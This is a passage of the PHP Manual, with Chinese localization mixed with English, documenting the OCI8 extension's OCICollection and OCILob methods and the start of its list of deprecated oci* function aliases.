Returns false if such element doesn't exist; null if element is null; string if element is column of a string datatype or number if element is numeric field.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Collection class was renamed to OCICollection to align with PHP naming standards.

参见

  • OCICollection::assignElem

User Contributed Notes

There are no user contributed notes for this page.


Returns the maximum number of elements in the collection

  • ? OCICollection::getElem
  • OCICollection::size ?
  • PHP Manual
  • OCICollection
  • Returns the maximum number of elements in the collection

OCICollection::max

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::max — Returns the maximum number of elements in the collection

说明

public OCICollection::max(): int|false

Returns the maximum number of elements in the collection.

参数

此函数没有参数。

返回值

Returns the maximum number as an integer, or false on errors.

If the returned value is 0, then the number of elements is not limited.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Collection class was renamed to OCICollection to align with PHP naming standards.

参见

  • OCICollection::size

User Contributed Notes

There are no user contributed notes for this page.


Returns size of the collection

  • ? OCICollection::max
  • OCICollection::trim ?
  • PHP Manual
  • OCICollection
  • Returns size of the collection

OCICollection::size

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::size — Returns size of the collection

说明

public OCICollection::size(): int|false

Returns the size of the collection.

参数

此函数没有参数。

返回值

Returns the number of elements in the collection or false on error.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Collection class was renamed to OCICollection to align with PHP naming standards.

参见

  • OCICollection::max

User Contributed Notes

There are no user contributed notes for this page.


Trims elements from the end of the collection

  • ? OCICollection::size
  • OCILob ?
  • PHP Manual
  • OCICollection
  • Trims elements from the end of the collection

OCICollection::trim

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCICollection::trim — Trims elements from the end of the collection

说明

public OCICollection::trim(int $num): bool

Trims num of elements from the end of the collection.

参数

num

The number of elements to be trimmed.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Collection class was renamed to OCICollection to align with PHP naming standards.

参见

  • OCICollection::size

User Contributed Notes

There are no user contributed notes for this page.


The OCILob class

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

简介

OCI8 LOB functionality for large binary (BLOB) and character (CLOB) objects.

Note:

The OCI-Lob class was renamed to OCILob in PHP 8 and PECL OCI8 3.0.0 to align with PHP naming standards.

类摘要

class OCILob {
/* 方法 */
public append(OCILob $from): bool
public close(): bool
public eof(): bool
public erase(?int $offset = null, ?int $length = null): int|false
public export(string $filename, ?int $offset = null, ?int $length = null): bool
public flush(int $flag = 0): bool
public free(): bool
public getBuffering(): bool
public import(string $filename): bool
public load(): string|false
public read(int $length): string|false
public rewind(): bool
public save(string $data, int $offset = 0): bool
public seek(int $offset, int $whence = OCI_SEEK_SET): bool
public setBuffering(bool $mode): bool
public size(): int|false
public tell(): int|false
public truncate(int $length = 0): bool
public write(string $data, ?int $length = null): int|false
public writeTemporary(string $data, int $type = OCI_TEMP_CLOB): bool
}

Table of Contents

  • OCILob::append — Appends data from the large object to another large object
  • OCILob::close — Closes LOB descriptor
  • OCILob::eof — Tests for end-of-file on a large object's descriptor
  • OCILob::erase — Erases a specified portion of the internal LOB data
  • OCILob::export — Exports LOB's contents to a file
  • OCILob::flush — Flushes/writes buffer of the LOB to the server
  • OCILob::free — Frees resources associated with the LOB descriptor
  • OCILob::getBuffering — Returns current state of buffering for the large object
  • OCILob::import — Imports file data to the LOB
  • OCILob::load — Returns large object's contents
  • OCILob::read — Reads part of the large object
  • OCILob::rewind — Moves the internal pointer to the beginning of the large object
  • OCILob::save — Saves data to the large object
  • OCILob::saveFile — 别名 OCILob::import
  • OCILob::seek — Sets the internal pointer of the large object
  • OCILob::setBuffering — Changes current state of buffering for the large object
  • OCILob::size — Returns size of large object
  • OCILob::tell — Returns the current position of internal pointer of large object
  • OCILob::truncate — Truncates large object
  • OCILob::write — Writes data to the large object
  • OCILob::writeTemporary — Writes a temporary large object
  • OCILob::writeToFile — 别名 OCILob::export

User Contributed Notes

There are no user contributed notes for this page.


Appends data from the large object to another large object

  • ? OCILob
  • OCILob::close ?
  • PHP Manual
  • OCILob
  • Appends data from the large object to another large object

OCILob::append

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::append — Appends data from the large object to another large object

说明

public OCILob::append(OCILob $from): bool

Appends data from the large object to the end of another large object.

Writing to the large object with this method will fail if buffering was previously enabled. You must disable buffering before appending. You may need to flush buffers with OCILob::flush before disabling buffering.

参数

from

The copied LOB.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::flush
  • OCILob::setBuffering
  • OCILob::getBuffering

User Contributed Notes

There are no user contributed notes for this page.


Closes LOB descriptor

  • ? OCILob::append
  • OCILob::eof ?
  • PHP Manual
  • OCILob
  • Closes LOB descriptor

OCILob::close

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::close — Closes LOB descriptor

说明

public OCILob::close(): bool

Closes descriptor of LOB or FILE. This function should be used only with OCILob::writeTemporary.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.


Tests for end-of-file on a large object's descriptor

  • ? OCILob::close
  • OCILob::erase ?
  • PHP Manual
  • OCILob
  • Tests for end-of-file on a large object's descriptor

OCILob::eof

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::eof — Tests for end-of-file on a large object's descriptor

说明

public OCILob::eof(): bool

Tells whether the internal pointer of large object is at the end of LOB.

参数

此函数没有参数。

返回值

Returns true if internal pointer of large object is at the end of LOB. Otherwise returns false.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

注释

Note:

This function will return an Oracle error if OCILob::setBuffering is enabled on the LOB.

参见

  • OCILob::size

User Contributed Notes

There are no user contributed notes for this page.


Erases a specified portion of the internal LOB data

  • ? OCILob::eof
  • OCILob::export ?
  • PHP Manual
  • OCILob
  • Erases a specified portion of the internal LOB data

OCILob::erase

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::erase — Erases a specified portion of the internal LOB data

说明

public OCILob::erase(?int $offset = null, ?int $length = null): int|false

Erases a specified portion of the internal LOB data starting at a specified offset. If called without parameters, it erases all LOB data.

For BLOBs, erasing means that the existing LOB value is overwritten with zero-bytes. For CLOBs, the existing LOB value is overwritten with spaces.

参数

offset

length

返回值

Returns the actual number of characters/bytes erased 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | offset and length are now nullable.
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::truncate

User Contributed Notes

There are no user contributed notes for this page.


Exports LOB's contents to a file

  • ? OCILob::erase
  • OCILob::flush ?
  • PHP Manual
  • OCILob
  • Exports LOB's contents to a file

OCILob::export

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::export — Exports LOB's contents to a file

说明

public OCILob::export(string $filename, ?int $offset = null, ?int $length = null): bool

Exports LOB contents to a file.

参数

filename

Path to the file.

offset

Indicates from where to start exporting.

length

Indicates the length of data to be exported.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | offset and length are now nullable.
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::import

User Contributed Notes

There are no user contributed notes for this page.


Flushes/writes buffer of the LOB to the server

  • ? OCILob::export
  • OCILob::free ?
  • PHP Manual
  • OCILob
  • Flushes/writes buffer of the LOB to the server

OCILob::flush

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::flush — Flushes/writes buffer of the LOB to the server

说明

public OCILob::flush(int $flag = 0): bool

OCILob::flush() actually writes data to the server.

参数

flag

By default, resources are not freed, but using flag OCI_LOB_BUFFER_FREE you can do it explicitly. Be sure you know what you're doing - next read/write operation to the same part of LOB will involve a round-trip to the server and initialize new buffer resources. It is recommended to use OCI_LOB_BUFFER_FREE flag only when you are not going to work with the LOB anymore.

返回值

成功时返回 true， 或者在失败时返回 false。

Returns false if buffering was not enabled or an error occurred.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::getBuffering
  • OCILob::setBuffering

User Contributed Notes

There are no user contributed notes for this page.


Frees resources associated with the LOB descriptor

  • ? OCILob::flush
  • OCILob::getBuffering ?
  • PHP Manual
  • OCILob
  • Frees resources associated with the LOB descriptor

OCILob::free

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::free — Frees resources associated with the LOB descriptor

说明

public OCILob::free(): bool

Frees resources associated with the descriptor, previously allocated with oci_new_descriptor().

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

User Contributed Notes

There are no user contributed notes for this page.


Returns current state of buffering for the large object

  • ? OCILob::free
  • OCILob::import ?
  • PHP Manual
  • OCILob
  • Returns current state of buffering for the large object

OCILob::getBuffering

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::getBuffering — Returns current state of buffering for the large object

说明

public OCILob::getBuffering(): bool

Tells whether the buffering for the large object is on or off.

参数

此函数没有参数。

返回值

Returns false if buffering for the large object is off and true if buffering is used.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::setBuffering

User Contributed Notes

There are no user contributed notes for this page.


Imports file data to the LOB

  • ? OCILob::getBuffering
  • OCILob::load ?
  • PHP Manual
  • OCILob
  • Imports file data to the LOB

OCILob::import

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::import — Imports file data to the LOB

说明

public OCILob::import(string $filename): bool

Writes data from the filename in to the current position of large object.

参数

filename

Path to the file.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::export
  • OCILob::write

User Contributed Notes

There are no user contributed notes for this page.


Returns large object's contents

  • ? OCILob::import
  • OCILob::read ?
  • PHP Manual
  • OCILob
  • Returns large object's contents

OCILob::load

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::load — Returns large object's contents

说明

public OCILob::load(): string|false

Returns large object's contents. As script execution is terminated when the memory_limit is reached, ensure that the LOB does not exceed this limit. In most cases it's recommended to use OCILob::read instead.

参数

此函数没有参数。

返回值

Returns the contents of the object, or false on errors.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::read

User Contributed Notes

There are no user contributed notes for this page.


Reads part of the large object

  • ? OCILob::load
  • OCILob::rewind ?
  • PHP Manual
  • OCILob
  • Reads part of the large object

OCILob::read

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::read — Reads part of the large object

说明

public OCILob::read(int $length): string|false

Reads length of bytes (BLOB) or characters (CLOB) from the current position of LOB's internal pointer.

Reading stops when length of bytes have been read for a BLOB, when length of characters have been read for a CLOB, or when the end of the large object is reached. Internal pointer of the large object will be shifted on the amount of bytes/characters read.

参数

length

The length of data to read, in bytes (BLOB) or characters (CLOB). Large values will be rounded down to 1 MB.

返回值

Returns the contents as a string, 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::load
  • OCILob::write

User Contributed Notes

There are no user contributed notes for this page.


Moves the internal pointer to the beginning of the large object

  • ? OCILob::read
  • OCILob::save ?
  • PHP Manual
  • OCILob
  • Moves the internal pointer to the beginning of the large object

OCILob::rewind

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::rewind — Moves the internal pointer to the beginning of the large object

说明

public OCILob::rewind(): bool

Sets the internal pointer to the beginning of the large object.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::seek
  • OCILob::tell

User Contributed Notes

There are no user contributed notes for this page.


Saves data to the large object

  • ? OCILob::rewind
  • OCILob::saveFile ?
  • PHP Manual
  • OCILob
  • Saves data to the large object

OCILob::save

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::save — Saves data to the large object

说明

public OCILob::save(string $data, int $offset = 0): bool

Saves data to the large object.

参数

data

The data to be saved.

offset

Can be used to indicate offset from the beginning of the large object.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::write
  • OCILob::import

User Contributed Notes

There are no user contributed notes for this page.


别名 OCILob::import

  • ? OCILob::save
  • OCILob::seek ?
  • PHP Manual
  • OCILob
  • 别名 OCILob::import

OCILob::saveFile

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::saveFile — 别名 OCILob::import()

说明

此函数是该函数的别名： OCILob::import().

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

User Contributed Notes

There are no user contributed notes for this page.


Sets the internal pointer of the large object

  • ? OCILob::saveFile
  • OCILob::setBuffering ?
  • PHP Manual
  • OCILob
  • Sets the internal pointer of the large object

OCILob::seek

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::seek — Sets the internal pointer of the large object

说明

public OCILob::seek(int $offset, int $whence = OCI_SEEK_SET): bool

Sets the internal pointer of the large object.

参数

offset

Indicates the amount of bytes, on which internal pointer should be moved from the position, pointed by whence.

whence

May be one of:

  • OCI_SEEK_SET - sets the position equal to offset
  • OCI_SEEK_CUR - adds offset bytes to the current position
  • OCI_SEEK_END - adds offset bytes to the end of large object (use negative value to move to a position before the end of large object)

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::rewind
  • OCILob::tell
  • OCILob::eof

User Contributed Notes

There are no user contributed notes for this page.


Changes current state of buffering for the large object

  • ? OCILob::seek
  • OCILob::size ?
  • PHP Manual
  • OCILob
  • Changes current state of buffering for the large object

OCILob::setBuffering

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::setBuffering — Changes current state of buffering for the large object

说明

public OCILob::setBuffering(bool $mode): bool

Sets the buffering for the large object, depending on the value of the mode parameter.

Use of this function may provide performance improvements by buffering small reads and writes of LOBs by reducing the number of network round-trips and LOB versions. OCILob::flush() should be used to flush buffers, when you have finished working with the large object.

参数

mode

true for on and false for off.

返回值

成功时返回 true， 或者在失败时返回 false。 Repeated calls to this method with the same flag will return true.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::getBuffering

User Contributed Notes

There are no user contributed notes for this page.


Returns size of large object

  • ? OCILob::setBuffering
  • OCILob::tell ?
  • PHP Manual
  • OCILob
  • Returns size of large object

OCILob::size

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::size — Returns size of large object

说明

public OCILob::size(): int|false

Gets the size of the large object.

参数

此函数没有参数。

返回值

Returns length of large object value 或者在失败时返回 false. Empty objects have zero length.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current position of internal pointer of large object

  • ? OCILob::size
  • OCILob::truncate ?
  • PHP Manual
  • OCILob
  • Returns the current position of internal pointer of large object

OCILob::tell

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::tell — Returns the current position of internal pointer of large object

说明

public OCILob::tell(): int|false

Gets the current position of a LOB's internal pointer.

参数

此函数没有参数。

返回值

Returns current position of a LOB's internal pointer or false if an error occurred.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::rewind
  • OCILob::size
  • OCILob::eof

User Contributed Notes

There are no user contributed notes for this page.


Truncates large object

  • ? OCILob::tell
  • OCILob::write ?
  • PHP Manual
  • OCILob
  • Truncates large object

OCILob::truncate

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::truncate — Truncates large object

说明

public OCILob::truncate(int $length = 0): bool

Truncates the LOB.

参数

length

If provided, this method will truncate the LOB to length bytes. Otherwise, it will completely purge the LOB.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::erase

User Contributed Notes

There are no user contributed notes for this page.


Writes data to the large object

  • ? OCILob::truncate
  • OCILob::writeTemporary ?
  • PHP Manual
  • OCILob
  • Writes data to the large object

OCILob::write

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::write — Writes data to the large object

说明

public OCILob::write(string $data, ?int $length = null): int|false

Writes data from the parameter data into the current position of LOB's internal pointer.

参数

data

The data to write in the LOB.

length

If this parameter is an integer, writing will stop after length bytes have been written or the end of data is reached, whichever comes first.

返回值

Returns the number of bytes written 或者在失败时返回 false.

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | length is now nullable.
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::read

User Contributed Notes

There are no user contributed notes for this page.


Writes a temporary large object

  • ? OCILob::write
  • OCILob::writeToFile ?
  • PHP Manual
  • OCILob
  • Writes a temporary large object

OCILob::writeTemporary

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::writeTemporary — Writes a temporary large object

说明

public OCILob::writeTemporary(string $data, int $type = OCI_TEMP_CLOB): bool

Creates a temporary large object and writes data to it.

You should use OCILob::close when you are done with this object.

参数

data

The data to write.

type

Can be one of the following:

  • OCI_TEMP_BLOB is used to create temporary BLOBs
  • OCI_TEMP_CLOB is used to create temporary CLOBs

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

参见

  • OCILob::close

User Contributed Notes

There are no user contributed notes for this page.


别名 OCILob::export

  • ? OCILob::writeTemporary
  • OCI8 Obsolete Aliases and Functions ?
  • PHP Manual
  • OCILob
  • 别名 OCILob::export

OCILob::writeToFile

(PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.1.0)

OCILob::writeToFile — 别名 OCILob::export()

说明

此函数是该函数的别名： OCILob::export().

更新日志

版本 | 说明
8.0.0, PECL OCI8 3.0.0 | offset and length are now nullable.
8.0.0, PECL OCI8 3.0.0 | The OCI-Lob class was renamed to OCILob to align with PHP naming standards.

User Contributed Notes

There are no user contributed notes for this page.


OCI8 Obsolete Aliases and Functions

Table of Contents

  • oci_internal_debug — Enables or disables internal debug output
  • ocibindbyname — 别名 oci_bind_by_name
  • ocicancel — 别名 oci_cancel
  • ocicloselob — 别名 OCILob::close
  • ocicollappend — 别名 OCICollection::append
  • ocicollassign — 别名 OCICollection::assign
  • ocicollassignelem — 别名 OCICollection::assignElem
  • ocicollgetelem — 别名 OCICollection::getElem
  • ocicollmax — 别名 OCICollection::max
  • ocicollsize — 别名 OCICollection::size
  • ocicolltrim — 别名 OCICollection::trim
  • ocicolumnisnull — 别名 oci_field_is_null
  • ocicolumnname — 别名 oci_field_name
  • ocicolumnprecision — 别名 oci_field_precision
  • ocicolumnscale — 别名 oci_field_scale
  • ocicolumnsize — 别名 oci_field_size
  • ocicolumntype — 别名 oci_field_type
  • ocicolumntyperaw — 别名 oci_field_type_raw
  • ocicommit — 别名 oci_commit
  • ocidefinebyname — 别名 oci_define_by_name
  • ocierror — 别名 oci_error
  • ociexecute — 别名 oci_execute
  • ocifetch — 别名 oci_fetch
  • ocifetchinto — Obsolete variant of oci_fetch_array, oci_fetch_object, oci_fetch_assoc and oci_fetch_row
  • ocifetchstatement — 别名 oci_fetch_all
  • ocifreecollection — 别名 OCICollection::free
  • ocifreecursor — 别名 oci_free_statement
  • ocifreedesc — 别名 OCILob::free
  • ocifreestatement — 别名 oci_free_statement
  • ociinternaldebug — 别名 oci_internal_debug
  • ociloadlob — 别名 OCILob::load
  • ocilogoff — 别名 oci_close
  • ocilogon — 别名 oci_connect
  • ocinewcollection — 别名 oci_new_collection
  • ocinewcursor — 别名 oci_new_cursor
  • ocinewdescriptor — 别名 oci_new_descriptor
  • ocinlogon — 别名 oci_new_connect
  • ocinumcols — 别名 oci_num_fields
  • ociparse — 别名 oci_parse
  • ociplogon — 别名 oci_pconnect
  • ociresult — 别名 oci_result
  • ocirollback — 别名 oci_rollback
  • ocirowcount — 别名 oci_num_rows
  • ocisavelob — 别名 OCILob::save
  • ocisavelobfile — 别名 OCILob::import
  • ociserverversion — 别名 oci_server_version
  • ocisetprefetch — 别名 oci_set_prefetch
  • ocistatementtype — 别名 oci_statement_type
  • ociwritelobtofile — 别名 OCILob::export
  • ociwritetemporarylob — 别名 OCILob::writeTemporary

User Contributed Notes

There are no user contributed notes for this page.


Enables or disables internal debug output

  • ? OCI8 Obsolete Aliases and Functions
  • ocibindbyname ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • Enables or disables internal debug output

oci_internal_debug

(PHP 5, PHP 7, PECL OCI8 >= 1.1.0, PECL OCI8 <= 2.2.0)

oci_internal_debug — Enables or disables internal debug output

说明

oci_internal_debug(bool $onoff): void

Enables or disables internal debug output.

参数

onoff

Set this to false to turn debug output off or true to turn it on.

返回值

没有返回值。

注释

Note:

This function was removed in PHP 8 and PECL OCI8 3.0.

User Contributed Notes

Rainer Perske 23-Oct-2015 11:10
With PHP 5.6, oci_internal_debug() is a no-op, as documented on http://php.net/manual/de/migration56.extensions.php


别名 oci_bind_by_name

  • ? oci_internal_debug
  • ocicancel ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_bind_by_name

ocibindbyname

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocibindbyname — 别名 oci_bind_by_name()

说明

别名 oci_bind_by_name()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_cancel

  • ? ocibindbyname
  • ocicloselob ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_cancel

ocicancel

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicancel — 别名 oci_cancel()

说明

别名 oci_cancel()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCILob::close

  • ? ocicancel
  • ocicollappend ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCILob::close

ocicloselob

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PECL OCI8 1.0)

ocicloselob — 别名 OCILob::close()

说明

别名 OCILob::close()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCICollection::append

  • ? ocicloselob
  • ocicollassign ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCICollection::append

ocicollappend

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollappend — 别名 OCICollection::append()

说明

别名 OCICollection::append()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCICollection::assign

  • ? ocicollappend
  • ocicollassignelem ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCICollection::assign

ocicollassign

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PECL OCI8 >= 1.0.0)

ocicollassign — 别名 OCICollection::assign()

说明

别名 OCICollection::assign()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCICollection::assignElem

  • ? ocicollassign
  • ocicollgetelem ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCICollection::assignElem

ocicollassignelem

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollassignelem — 别名 OCICollection::assignElem()

说明

别名 OCICollection::assignElem()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCICollection::getElem

  • ? ocicollassignelem
  • ocicollmax ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCICollection::getElem

ocicollgetelem

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollgetelem — 别名 OCICollection::getElem()

说明

别名 OCICollection::getElem()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCICollection::max

  • ? ocicollgetelem
  • ocicollsize ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCICollection::max

ocicollmax

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollmax — 别名 OCICollection::max()

说明

别名 OCICollection::max()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCICollection::size

  • ? ocicollmax
  • ocicolltrim ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCICollection::size

ocicollsize

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicollsize — 别名 OCICollection::size()

说明

别名 OCICollection::size()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 OCICollection::trim

  • ? ocicollsize
  • ocicolumnisnull ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 OCICollection::trim

ocicolltrim

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolltrim — 别名 OCICollection::trim()

说明

别名 OCICollection::trim()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_field_is_null

  • ? ocicolltrim
  • ocicolumnname ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_field_is_null

ocicolumnisnull

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnisnull — 别名 oci_field_is_null()

说明

别名 oci_field_is_null()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_field_name

  • ? ocicolumnisnull
  • ocicolumnprecision ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_field_name

ocicolumnname

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnname — 别名 oci_field_name()

说明

别名 oci_field_name()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_field_precision

  • ? ocicolumnname
  • ocicolumnscale ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_field_precision

ocicolumnprecision

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnprecision — 别名 oci_field_precision()

说明

别名 oci_field_precision()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_field_scale

  • ? ocicolumnprecision
  • ocicolumnsize ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_field_scale

ocicolumnscale

(PHP 4, PHP 5, PHP 7, PHP 8, PECL OCI8 >= 1.0.0)

ocicolumnscale — 别名 oci_field_scale()

说明

别名 oci_field_scale()

Warning

自 PHP 5.4.0 起，已经废弃此别名。强烈建议不要应用此别名。

User Contributed Notes

There are no user contributed notes for this page.


别名 oci_field_size

  • ? ocicolumnscale
  • ocicolumntype ?
  • PHP Manual
  • OCI8 Obsolete Aliases and Functions
  • 别名 oci_field_size

ocicolumnsize

